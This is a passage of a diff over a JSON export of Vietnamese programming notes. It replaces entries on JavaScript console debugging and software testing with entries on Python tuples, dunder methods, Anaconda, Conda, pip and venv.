không phải vào lúc lệnh được thực thi", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Log/console.log chỉ hiển thị nội dung tại thời điểm vật thể được xem, chứ không phải vào lúc lệnh được thực thi", + "Tiêu đề": "Không thể thay đổi tuple một khi đã được tạo ra", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Không thể thay đổi tuple một khi đã được tạo ra", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "As you can see below, even though the array is logged before the mutating method is applied, the debugger still shows it as already being applied. However, its elements and properties when called specifically still return correctly:\r\n\r\n![](https://i.imgur.com/SjzA0DP.png)\r\n\r\nIf I add a breakpoint before the methods, then it is correct. If I continue then the result doesn't change.\r\n\r\n![](https://i.imgur.com/AuWkA4C.png)\r\n\r\n\r\n```js\r\nconst array = [\"cat\",\"dog\",\"mouse\"]\r\nconsole.log('array', array);\r\nconsole.log('array[0] :>> ', array[0]);\r\nconsole.log('array.length :>> ', array.length);\r\n\r\narray.splice(0, 1)\r\n// array.push('bat')\r\ndebugger\r\n```\r\n\r\n\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [console.log() async or sync?](https://stackoverflow.com/q/23392111/3416774), [console.log() shows the changed value of a variable before the value actually changes](https://stackoverflow.com/q/11284663/3416774)\r\n", + "Toàn bộ nội dung": "Qua các nội dung của bài này và bài học trước đó ([list trong Python](https://tuhocict.com/kieu-danh-sach-list-trong-python/)) bạn có thể thấy có rất nhiều điểm tương tự giữa tuple và list. Tuy nhiên, tuple và list có những điểm phân biệt rất rõ ràng. Sự khác biệt này quyết định giá trị sử dụng của từng kiểu dữ liệu.\r\n\r\nThứ nhất, list là kiểu dữ liệu _khả biến_ (mutable) trong khi tuple là kiểu dữ liệu _bất biến_ (immutable). Nghĩa là, một khi đã được tạo ra trong bộ nhớ, list có thể thay đổi còn tuple không thể thay đổi. Các thao tác biến đổi trên tuple sẽ đều tạo ra object mới chứ không thay đổi object sẵn có.\r\n\r\nTừ khía cạnh nào đó có thể hình dung tuple là phiên bản chỉ đọc thu gọn của list.\r\n\r\nVới đặc thù trên, list thường dùng làm kho dữ liệu cho chương trình. Ví dụ, bạn có thể đọc dữ liệu từ file vào list, thực hiện các biến đổi trên list và lưu trở lại file. Dữ liệu lưu trong list được xử lý linh hoạt uyển chuyển hơn. Bạn không thể sử dụng tuple cho mục đích này.\r\n\r\nTrong khi đó, tuple được sử dụng để truyền dữ liệu trong chương trình. Ví dụ, nếu một hàm cần trả lại nhiều kết quả, nó có thể trả về một tuple. Kết quả trả về ở dạng tuple nhẹ, nhanh và an toàn hơn. Ở đây mặc dù có thể dùng list nhưng không khuyến khích.\r\n\r\nMặc dù list cho phép lưu trữ dữ liệu thuộc nhiều kiểu khác nhau, người ta thường dùng list để lưu dữ liệu có cùng kiểu. Trong khi đó, tuple thường được dùng để lưu trữ kết quả thuộc các kiểu khác biệt để truyền qua lại trong chương trình.\r\n\r\nVí dụ, nếu khách hàng có các thông tin về họ tên, email, số điện thoại, địa chỉ. Danh sách khách hàng (tập hợp bản ghi) nên được lưu trong list. Nếu cần truyền thông tin về một khách hàng (dữ liệu 1 bản ghi, ví dụ, trả về từ hàm) thì nên dùng tuple chứa các thông tin của khách hàng đó.\r\n\r\nNguồn:: [[tuhocict]], [Kiểu dữ liệu tuple trong Python | Tự học ICT](https://tuhocict.com/kieu-du-lieu-tuple-trong-python/)\r\n[[Tuple là mảng nhưng không thay đổi được số lượng phần tử]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-09-22T14:50:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Uk" + "id": "YS" }, { - "Tiêu đề": "Ngoài console.log còn có console.assert, console.trace, console.table, console.error, console.dir", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Log/Ngoài console.log còn có console.assert, console.trace, console.table, console.error, console.dir", + "Tiêu đề": "Những phương thức có hai dấu gạch dưới hai bên được gọi là dunder (double underscore)", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Những phương thức có hai dấu gạch dưới hai bên được gọi là dunder (double underscore)", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://youtu.be/L8CDt1J3DAw?si=tTCg8pJhTfUEPvLt) \nMột trong những cách đơn giản nhất để debug Javascript code đó chính là hiện ra kết quả qua câu lệnh `console.log`. Mặc dù nó vẫn hoạt động, tuy nhiên đó không phải là cách tối ưu cho mọi việc. Trong bài viết này mình sẽ giới thiệu với các bạn những chức năng khác mà console javascript có thể làm được\n\n## `console.log()`\n\nĐây là hàm mà ai cũng đã biết. Tuy nhiên ít người để ý đến tham số dùng trong nó. Đoạn text trong `console.log` có thể được thay thế theo form sau:\n\n| Cú pháp | Ý nghĩa |\n| ------- | ------------------ |\n| %o / %O | Thay thế object |\n| %d / %i | Thay thế số nguyên |\n| %s | Thay thế chuỗi |\n| %f | Thay thế số thực |\n| %c | Thay đổi style |\n\nMột số ví dụ:\n\n```js\nconsole.log('Hello %o',{name:'Nguyen Tuan Quang', department:'blockchain'},'!' );\n```\n\nKết quả:\n\n![](https://images.viblo.asia/5f738857-c941-44ad-b54e-fb76f396b5fa.png)\n\nTương tự với `%d`,`%s`,`%f`. Với `%c` thì hơi đặc biệt hơn khi ta có thể chèn thêm css vào đây:\n\n```js\nlet css = \"text-shadow: -1px -1px hsl(0,100%,50%),1px 1px hsl(27, 100%, 50%),3px 2px hsl(54, 100%, 50%),5px 3px hsl(81, 100%, 50%),7px 4px hsl(135, 100%, 50%),9px 5px hsl(162, 100%, 50%),11px 6px hsl(189, 100%, 50%),13px 7px hsl(243, 100%, 50%),14px 8px hsl(270, 100%, 50%),16px 9px hsl(297, 100%, 50%); font-size: 40px;\";\nconsole.log(\"%c Style: Sun*\", css)\n```\n\n![](https://images.viblo.asia/64232eba-b07d-4bcf-b602-c73a136a9d44.png)\n\n```js\nconsole.log(\n \"Multiple styles: %cred %corange\",\n \"color: red\",\n \"color: orange\",\n \"Additional unformatted message\",\n);\n```\n## `console.count`\n\nHàm `console.count( [label] );` trả về số lần được gọi với label. Nếu không có tham số sẽ mặc định trả về số lần được gọi với label default. Điều này giúp ta đếm số lần gọi function. Ví dụ:\n\n```js\nlet user = \"\";\n\nfunction greet() {\n console.count();\n return \"hi \" + user;\n}\n\nuser = \"bob\";\ngreet();\nuser = \"alice\";\ngreet();\ngreet();\nconsole.count();\n```\n\n![](https://images.viblo.asia/cd6677a7-3ff2-441a-8a45-b521d66dff93.png)\n\nNếu truyền tham số vào hàm `count()` sẽ trả về số lần gọi function với label đã truyền vào. Ví dụ:\n\n```js\nfunction sayHello(name) {\n console.count(name)\n}\n\nsayHello(\"Nguyen\")\nsayHello(\"Tuan\")\nsayHello(\"Quang\")\nsayHello(\"Quang\")\n```\n\nKết quả trả về như sau:\n\n![](https://images.viblo.asia/8d808873-8cc6-4d38-a34c-4b3bb414863f.png)\n\n## `console.table()`\n\nHàm này cực kì hữu ích khi làm việc với array, object hoặc dữ liệu Json. Mỗi một phần tử tương ứng với 1 hàng trong table. Cùng xem qua ví dụ sau:\n\n```js\nconst fruits = [\"kiwi\", \"banana\", \"strawberry\"]\n\nconsole.table(fruits)\n```\n\nKết quả trả về dưới dạng table rất dễ nhìn, không còn trông ác mộng giống như dùng `console.log` nữa:\n\n![](https://images.viblo.asia/31a8867a-377d-4b0b-b956-e9199bb19139.png)\n\nTương tự với object. Nhưng index trong bảng sẽ là `key` trong object\n\n![](https://images.viblo.asia/20ce9bad-9146-480b-9f8b-b05bfe2345b5.png) Nếu muốn gộp 2 hoặc nhiều object trong cùng 1 bảng thì đưa chúng vào trong array. Kết quả trả về như sau:\n\n```js\nconst pets = {\n name: \"Simon\",\n type: \"cat\"\n};\n\nconst person = {\n firstName: \"Indrek\",\n lastName: \"Lasn\"\n}\n\nconsole.table([pets, person]);\n```\n\n![](https://images.viblo.asia/a099dac9-25ca-49f2-b801-28b66e406cfe.png)\n\n## `console.group()`\n\nHàm này đơn giản chỉ để nhóm các câu lệnh console với nhau. Dùng khi làm việc với `sets` hoặc `linked-data` giúp dữ liệu hiện ra dễ nhìn hơn.\n\n```js\nconsole.log(\"This is the first level\");\nconsole.group();\nconsole.log(\"Level 2\");\nconsole.group();\nconsole.log(\"Level 3\");\nconsole.warn(\"More of level 3\");\nconsole.groupEnd();\nconsole.log(\"Back to level 2\");\nconsole.groupEnd();\nconsole.log(\"Back to the first level\");\n```\n\n![](https://images.viblo.asia/0d2422d6-5229-4833-931e-ea01bbc9b915.png)\n\n## `console.time, console.timeLog, console.timeEnd`\n\n`console.time(label)` với tham số là tên của bộ đếm thời gian, có thể chạy đồng thời 10.000 bộ đếm trong cùng 1 trang. Hàm `console.timeEnd(label)` để dừng bộ đếm giờ với tham số đã khởi tạo bằng `console.time`. Trong khi đó `console.timeLog(label)` trả về thời gian hiện tại kể từ khi bắt đầu bằng `console.time`. Bộ ba hàm trên rất hữu hiệu khi kiểm tra thời gian chạy của câu lệnh trong javascript. Cùng xem qua ví dụ sau:\n\n```js\nconsole.time('total');\nconsole.time('init arr');\nconst arr = new Array(5);\nconsole.timeEnd('init arr');\n\nfor (let i=0; i <arr.length ; i++){\n arr[i] = new Object();\n const _type = (i%2 ===0)? 'even' : 'odd'\n console.count(_type + ' added' );\n}\nconsole.timeEnd('total');\n```\n\nKết quả:\n\n![](https://images.viblo.asia/ed89cb10-7f22-490b-ad5b-929ca2bcb5be.png)\n\n## Kết luận\n\nSau bài viết này hi vọng các ban biết thêm về sức mạnh của `console` trong javascript cũng như giúp ích được trong project của các bạn. Hẹn gặp lại mọi người trong bài viết sau.\n\n## Source\n\n[https://developer.mozilla.org/en-US/docs/Web/API/Console/timeLog](https://developer.mozilla.org/en-US/docs/Web/API/Console/timeLog) [https://www.freecodecamp.org/news/how-you-can-improve-your-workflow-using-the-javascript-console-bdd7823a9472/](https://www.freecodecamp.org/news/how-you-can-improve-your-workflow-using-the-javascript-console-bdd7823a9472/) [https://medium.com/better-programming/boost-your-javascript-debugging-skills-with-these-console-tricks-ab984c70298a](https://medium.com/better-programming/boost-your-javascript-debugging-skills-with-these-console-tricks-ab984c70298a)\nNguồn:: [Nâng cao kỹ năng debug trong Javascript bằng Console](https://viblo.asia/p/nang-cao-ky-nang-debug-trong-javascript-bang-console-3P0lPEEp5ox)\n\n\nI) Insert meaningful log message automatically\n\nTwo steps:\n\n- Selecting or hovering the variable which is the subject of the debugging (Manual selection will always take over the hover selection)\n \n- Pressing ctrl + alt + L (Windows) or ctrl + option + L (Mac)\n \n\nThe log message will be inserted in the next line relative to the selected variable like this:\n\nconsole.log(\"SelectedVariableEnclosingClassName -> SelectedVariableEnclosingFunctionName -> SelectedVariable\", SelectedVariable)\n\n![alt text](https://image.ibb.co/dysw7p/insert_log_message.gif)\n\nMultiple cursor support:\n\n![alt text](https://i.ibb.co/Jk2pmRG/tcl-multiple-selections.gif \"Multiple cursor support\")\n", + "Toàn bộ nội dung": "```python\r\nc = a + b\r\n```\r\nInternally it is called as:\r\n\r\n```python\r\nc = a.__add__(b)\r\n```\r\nNguồn:: [\\_\\_getitem\\_\\_() in Python - GeeksforGeeks](https://www.geeksforgeeks.org/__getitem__-in-python/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-26T12:20:00.000Z", - "id": "Ul" + "Ngày tạo": "2023-09-27T08:15:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "YT" }, { - "Tiêu đề": "Tổng quan về log", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Log/Tổng quan về log", + "Tiêu đề": "Anaconda giống như một fork Python có bổ sung thêm nhiều công cụ cho khoa học dữ liệu", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Conda/Anaconda giống như một fork Python có bổ sung thêm nhiều công cụ cho khoa học dữ liệu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Logging – Mắt thần của bạn trên hệ thống thực - NTechDevelopers](https://blog.ntechdevelopers.com/logging-mat-than-cua-ban-tren-he-thong-thuc/ \"Logging – Mắt thần của bạn trên hệ thống thực - NTechDevelopers\")", + "Toàn bộ nội dung": "Now seems like a distant memory, but there used to be a lot of issues installing the numerical stack (numpy/scipy etc.) on things like Windows. That's when Anaconda was really quite a big thing. As far as a package manager goes these days, I honestly find it quite clunky\r\n[Python - 2023-06-06](https://chat.stackoverflow.com/transcript/message/56414283#56414283)\r\n[[Conda là trình quản lý thư viện, không chỉ của Python mà còn của các ngôn ngữ khác]]\r\n\r\n[[Với những người chỉ cần dùng Python để làm dữ liệu chứ không lập trình, chỉ cần cài Anaconda là đủ. Không cần và không nên cài Python riêng]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Um" + "id": "YU" }, { - "Tiêu đề": "Debug", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Log, test, debug", + "Tiêu đề": "Conda là trình quản lý thư viện, không chỉ của Python mà còn của các ngôn ngữ khác", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Conda/Conda là trình quản lý thư viện, không chỉ của Python mà còn của các ngôn ngữ khác", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Debug trực tiếp ngay trên script\r\n1. Dùng console.log\r\n3. Dùng try...catch\r\n4. Dùng throw\r\n\r\n# Dùng debugger\r\n1. Dùng breakpoint\r\n2. Dùng Variable và Watch \r\n3. Dùng debug console\r\n4. Dùng logpoint\r\n5. Dùng REPL\r\n\r\n![Future of JavaScript Debugging: Dbux and Dynamic Program Analysis | Dominik Seifert - YouTube](https://youtu.be/LhM01DL9dLc?si=WLP8AzM_nA_d8FCk)\r\n# Dùng unit test\r\n", + "Toàn bộ nội dung": "- Các gói Pip là những thư viện Python như NumPy hoặc matplotlib\r\n- Các gói Conda bao gồm các thư viện Python (NumPy hoặc matplotlib), thư viện C (libjpeg), và tập tin thực thi (như trình biên dịch C, thậm chí trình thông dịch Python)\r\n\r\n[[Package và library là những cái tên khác nhau cho cùng một thứ]]\r\n\r\n[[pip là chương trình quản lý package của Python]]\r\n\r\n[[Với những người chỉ cần dùng Python để làm dữ liệu chứ không lập trình, chỉ cần cài Anaconda là đủ. Không cần và không nên cài Python riêng]]\r\n\r\n![https://www.machinelearningplus.com/wp-content/uploads/2022/02/conda-vs-miniconda-vs-anaconda.png?ezimgfmt=ng:webp/ngcb11](https://www.machinelearningplus.com/wp-content/uploads/2022/02/conda-vs-miniconda-vs-anaconda.png?ezimgfmt=ng:webp/ngcb11)\r\n[Pip vs Conda: an in-depth comparison of Python’s two packaging systems](https://pythonspeed.com/articles/conda-vs-pip/)\r\n\r\n| Anaconda ecosystem | Python ecosystem |\r\n| ------------------------------------------------------------- | ------------------------------------------------------ |\r\n| Conda: Packages from various language | Pip: Python packages only |\r\n| Miniconda: Virtual environment with different Python versions | venv: Virtual environment with only one Python version |\r\n| Anaconda: Specialized for data science projects | Python: Suitable for general Python development |\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Un" + "id": "YV" }, { - "Tiêu đề": "Lý do thấy test trước bất tiện", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Test/Lý do thấy test trước bất tiện", + "Tiêu đề": "venv chỉ tạo môi trường ảo cho phiên bản hiện tại. Miniconda tạo môi trường ảo cho nhiều phiên bản", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Conda/venv chỉ tạo môi trường ảo cho phiên bản hiện tại. Miniconda tạo môi trường ảo cho nhiều phiên bản", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Mỗi lần refactor thì dữ liệu mẫu cũng phải chỉnh lại\r\n", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Uo" + "id": "YW" }, { - "Tiêu đề": "Tổng quan về kiểm thử phần mềm", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Test/Tổng quan về kiểm thử phần mềm", + "Tiêu đề": "Với những người chỉ cần dùng Python để làm dữ liệu chứ không lập trình, chỉ cần cài Anaconda là đủ. Không cần và không nên cài Python riêng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Conda/Với những người chỉ cần dùng Python để làm dữ liệu chứ không lập trình, chỉ cần cài Anaconda là đủ. Không cần và không nên cài Python riêng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![image.png](https://images.viblo.asia/0ebf1f5d-a226-49df-93b3-d99465783033.png)\r\n\r\nMình là TUẤN hiện đang là một Full-stack Developer tại Tokyo 😉. Nếu bạn thấy Blog này hay xin hãy cho mình một like và đăng ký để ủng hộ mình nhé 😊.\r\n\r\nTrong bài viết này, mình sẽ nói về Test. Và sẽ cung cấp cho bạn một cái nhìn tổng quan tốt về Test là gì và giới thiệu về cách bạn có thể triển khai nó trên các dự án JavaScript của mình. Ae sẽ sử dụng bốn công cụ rất phổ biến - Jest, Testing Library, Cypress và Supertest.\r\n\r\nĐầu tiên khi nói về Test là gì, tại sao nên Test và các loại Test khác nhau có thể được thực hiện.\r\n\r\nSau đó, mình sẽ giới thiệu từng công cụ mà bạn sẽ sử dụng và cuối cùng sẽ đưa ra các ví dụ thực tế cho code VaniJS (JS thuần), ứng dụng React front-end và ứng dụng Node back-end.\r\n\r\nGÉT GÔ!🤪\r\n\r\n## Mục lục\r\n\r\n- [Test là gì và tại sao nó có value](https://viblo.asia/posts/5pPLkG2GLRZ/edit#what-is-testing-and-why-is-it-valuable)\r\n- [Các loại Test khác nhau](https://viblo.asia/posts/5pPLkG2GLRZ/edit#different-types-of-tests)\r\n - [Test thủ công và tự động](https://viblo.asia/posts/5pPLkG2GLRZ/edit#manual-vs-automated-testing)\r\n - [Test chức năng so với phi chức năng](https://viblo.asia/posts/5pPLkG2GLRZ/edit#functional-vs-non-functional-testing)\r\n - [Unit và Integration testing so với end to end testing (e2e)](https://viblo.asia/posts/5pPLkG2GLRZ/edit#unit-vs-integration-testing-vs-end-to-end-testing)\r\n - [Test hộp trắng so với hộp đen và hộp xám](https://viblo.asia/posts/5pPLkG2GLRZ/edit#white-box-vs-black-box-vs-grey-box-testing)\r\n- [Khi nào Test](https://viblo.asia/posts/5pPLkG2GLRZ/edit#when-to-test)\r\n- [Bộ công cụ](https://viblo.asia/posts/5pPLkG2GLRZ/edit#our-toolset)\r\n - [Jest là gì](https://viblo.asia/posts/5pPLkG2GLRZ/edit#what-is-jest)\r\n - [Thư viện Test là gì](https://viblo.asia/posts/5pPLkG2GLRZ/edit#what-is-testing-library)\r\n - [Cypress là gì](https://viblo.asia/posts/5pPLkG2GLRZ/edit#what-is-cypress)\r\n - [Supertest là gì](https://viblo.asia/posts/5pPLkG2GLRZ/edit#what-is-supertest)\r\n - [Tools](https://viblo.asia/posts/5pPLkG2GLRZ/edit#tools-roundup)\r\n- [Cách Test code JS vani](https://viblo.asia/posts/5pPLkG2GLRZ/edit#how-to-test-vanilla-js-code)\r\n- [Cách Test ứng dụng React front-end với thư viện Test Jest và React](https://viblo.asia/posts/5pPLkG2GLRZ/edit#how-to-test-a-front-end-react-app-with-jest-and-react-testing-library)\r\n- [Cách Test ứng dụng React front-end với Cypress](https://viblo.asia/posts/5pPLkG2GLRZ/edit#how-to-test-a-front-end-react-app-with-cypress)\r\n- [Cách Test ứng dụng Node back-end](https://viblo.asia/posts/5pPLkG2GLRZ/edit#how-to-test-a-back-end-node-app)\r\n- [Cuối cùng](https://viblo.asia/posts/5pPLkG2GLRZ/edit#wrap-up)\r\n\r\n# Test là gì và Tại sao nó có value\r\n\r\nKiểm thử là thực hiện Test xem một phần mềm có chạy như mong đợi hay không. Điều này thường được QA đảm bảo chất lượng, và nhằm mục đích giảm đến mức tối thiểu số lượng lỗi phát sinh trong quá trình sản xuất.\r\n\r\nBạn Test phần mềm để xác định lỗi, khoảng trống hoặc các yêu cầu còn thiếu và sửa những thứ đó trước khi deploy hoặc Release.\r\n\r\nTest là một cách triệt để giúp cải thiện độ tin cậy của dự án, giúp bạn tiết kiệm thời gian sửa lỗi sau này và do đó giảm chi phí và cải thiện cơ hội để khách hàng hoàn toàn hài lòng với sản phẩm của bạn.\r\n\r\n![BvIJ1M5-1](https://www.freecodecamp.org/news/content/images/2022/04/BvIJ1M5-1.gif)\r\n\r\n# Các loại Test khác nhau\r\n\r\nTest có thể được phân loại thành nhiều loại khác nhau theo nhiều yếu tố. Cá nhân mình nghĩ rằng có rất nhiều câu chuyện phiếm về chủ đề này, với hàng trăm thuật ngữ thường đề cập đến những thứ rất giống nhau. Vì vậy, hãy giữ nó đơn giản và chỉ xem xét các thuật ngữ phổ biến nhất và ý nghĩa của chúng.\r\n\r\nĐiều này sẽ giúp làm rõ nhiều cách mà một phần mềm có thể được Test và hiểu rõ hơn về các công cụ mà bạn sẽ trình bày ở phần sau.\r\n\r\n### Test thủ công và tự động\r\n\r\nTùy thuộc vào các công cụ bạn sử dụng để Test phần mềm của mình, bạn có thể phân loại kiểm thử thành kiểm thử thủ công hoặc tự động .\r\n\r\nTest thủ công là thực hiện \"nhấp chuột vào chức năng trên màn hình\" và Test thủ công tất cả các tính năng mà sản phẩm của bạn có, mô phỏng những gì người dùng thực tế sẽ làm.\r\n\r\nTest tự động được thực hiện thông qua code, viết các chương trình Test cách ứng dụng của bạn chạy.\r\n\r\nCó nhiều framework và thư viện Test mà bạn có thể sử dụng cho việc này. Khi nói đến kiểm thử chức năng (bạn sẽ xem điều đó có nghĩa là gì ở phần sau), hầu hết các thư viện đều hoạt động theo cách tương tự:\r\n\r\n- Đầu tiên, bạn xác định đoạn code nào bạn muốn Test.\r\n- Sau đó, bạn cung cấp đoạn code đó một số loại đầu vào hoặc thực hiện một hành động.\r\n- Sau đó, bạn xác định đoạn code đó sẽ làm gì với đầu vào/hành động mà bạn đã thực hiện.\r\n- Và cuối cùng, bạn sẽ so sánh những gì đoạn code đó thực sự đã làm với những gì bạn mong muốn.\r\n\r\nNếu nó làm đúng như những gì bạn đã mong muốn, thì bài Test đã passed. Nếu không, nó đã thất bại.\r\n\r\n### Test chức năng so với phi chức năng\r\n\r\nTest chức năng đề cập đến các tính năng thực tế của sản phẩm. Ví dụ: nếu bạn có một nền tảng blog, Test chức năng sẽ đảm bảo người dùng có thể tạo các bài viết mới, chỉnh sửa các bài viết đó, duyệt qua các bài viết do người khác viết, v.v.\r\n\r\nTest phi chức năng đề cập đến bất kỳ điều gì không liên quan chặt chẽ đến các tính năng cốt lõi của sản phẩm. Và điều đó một lần nữa có thể được phân loại thành các danh mục khác nhau, ví dụ:\r\n\r\n- Stress testing: test chịu tải của server chẳng hạn.\r\n- Security testing: test xem một ứng dụng có dễ bị tấn công bởi các cuộc tấn công thông thường hay không.\r\n- Accessibility testing: test xem một ứng dụng có được code theo cách mà có thể giễ dàng truy cập được cho những người khuyết tật hoặc những đối tượng khác nhau hay không.\r\n\r\n### Unit vs Integration testing vs End-to-end testing\r\n\r\nMột cách khác để phân loại Test là tùy thuộc vào mức độ rộng hay toàn diện của nó.\r\n\r\nUnit Test nhằm mục đích Test các chức năng, method riêng lẻ hoặc các đoạn code nhỏ theo cách độc lập. Trong Unit test, các đoạn code nhỏ được Test theo cách riêng biệt.\r\n\r\nIntergaration test  là cách các đoạn code riêng lẻ tương tác với nhau và hoạt động cùng nhau. Trong Test tích hợp, bạn ghép các mảnh lại với nhau và xem liệu chúng có tương tác chính xác hay không.\r\n\r\nEnd-to-End Test, còn được gọi là E2E, thực thi các chương trình trong một môi trường giả lập mô phỏng hành vi người dùng thực tế. Lấy một trang web làm ví dụ, code của bạn sẽ mở trong một trình duyệt thực và tất cả các tính năng sẽ được thực thi giống như cách người dùng sử dụng chúng. Test E2E rất giống Test thủ công theo nghĩa đó, nhưng hoàn toàn tự động.\r\n\r\nTest E2E là loại rộng nhất hoặc toàn diện nhất trong ba loại này, vì nó đánh giá toàn bộ các tính năng và hành vi, không phải các phần cụ thể trong code của bạn.\r\n\r\n### Test hộp trắng so với hộp đen và hộp xám\r\n\r\nPhân loại cuối cùng mà bạn sẽ thấy phụ thuộc vào mức độ các Test sẽ tập trung vào chi tiết triển khai hoặc trải nghiệm người dùng.\r\n\r\nGiả sử bạn có một trang web đơn giản với một nút, khi được nhấp vào, nó sẽ mở ra một method. Trong code, nút có trình xử lý sự kiện nhấp chuột thực thi một chức năng. Hàm đó thay đổi lớp CSS của phần tử HTML method và điều đó sẽ hiển thị method trên màn hình.\r\n\r\nNói về kiểm thử \"hộp trắng\" khi bạn cần Test chi tiết triển khai. Ví dụ, theo mô hình này, bạn có thể Test xem lần nhấp vào nút có thực thi chức năng tương ứng hay không và sau khi thực thi chức năng, lớp CSS của phần tử method của bạn được thay đổi tương ứng.\r\n\r\nMột cách khác để làm điều này là quên việc triển khai tất cả cùng nhau và chỉ cần Test xem method có được hiển thị sau khi nhấp vào nút hay không. Ae không quan tâm lớp CSS là gì, hoặc chức năng tương ứng có được thực thi hay không. Chỉ tập trung vào việc Test những gì người dùng sẽ cảm nhận được. Đó là Test \"hộp đen \".\r\n\r\nVà, như bạn có thể đoán, Test \"hộp màu xám\" chỉ là sự kết hợp của hai cách trước.\r\n\r\nMột điều cuối cùng cần đề cập ở đây là các loại Test khác nhau này là không nhất thiết phải loại trừ lẫn nhau. Ý mình là, chúng có thể và thường được thực hiện cùng một lúc trên cùng các dự án.\r\n\r\nRất phổ biến là có cả Test thủ công và tự động, Test chức năng và phi chức năng, Test đơn vị và E2E ... Ý tưởng sẽ luôn là cố gắng dự đoán và giải quyết số lượng vấn đề lớn nhất có thể trong một thời thời gian và effort hợp lý.\r\n\r\n# Khi nào Test\r\n\r\nThoạt đầu, đây có vẻ là một câu hỏi đơn giản, nhưng thực tế cũng có nhiều cách tiếp cận khác nhau cho vấn đề này.\r\n\r\nMột số người thích Test ứng dụng của họ sau khi nó được phát triển đầy đủ. Những một số khác thích viết các Test case cùng lúc họ viết code ứng dụng và Test từng tính năng khi nó đang được phát triển.\r\n\r\nSố còn lại thì thích viết các bài Test trước trước bất kỳ thứ gì khác, xác định theo cách này các yêu cầu tối thiểu để chương trình hoàn thành. Và sau đó, họ viết code ứng dụng theo cách passed các bài Test đó nhanh nhất có thể (điều này được gọi là [phát triển theo hướng Test hoặc TDD](https://en.wikipedia.org/wiki/Test-driven_development)). [TDD này mình cũng đã có nhắc đến trong bột bài viết của mình bạn có thể tham khảo.](https://tuan200tokyo.blogspot.com/2022/09/blog3-mot-so-mo-hinh-lap-trinh-pho-bien.html)\r\n\r\nSau khi bạn đã phát triển một ứng dụng hoặc toàn bộ tính năng và bạn đã có sẵn bộ Test (bộ Test là một nhóm các Test case của một tính năng cụ thể hoặc toàn bộ ứng dụng), một method phổ biến khác là chạy Test mỗi lần bạn thực hiện bất kỳ loại sửa đổi nào đối với code base, để chắc chắn rằng không vị trí nào bị bug sau khi thêm tính năng hoặc function mới.\r\n\r\nCuối cùng, nếu bạn có sẵn hệ thống [CI/CD](https://en.wikipedia.org/wiki/CI/CD) , bạn thường tự động hóa việc thực hiện các bài Test trước khi triển khai. Vì vậy, nếu bất kỳ Test nào không thành công, việc triển khai sẽ bị dừng và một số loại cảnh báo sẽ được gửi đi (tất nhiên luôn tốt hơn việc thấy ứng dụng của bạn bắt lửa trên sản phẩm 🔥😱).\r\n\r\nTương tự như với các loại kiểm thử, việc Test các ứ", + "Toàn bộ nội dung": "Không cần là vì bản thân Anaconda đã có cài sẵn Python rồi ([[Anaconda giống như một fork Python có bổ sung thêm nhiều công cụ cho khoa học dữ liệu]]). Không nên là vì [[Việc cài phiên bản mới không xoá phiên bản cũ đi khiến cho người mới hay bị lẫn lộn phiên bản]]\n\n[[pip là chương 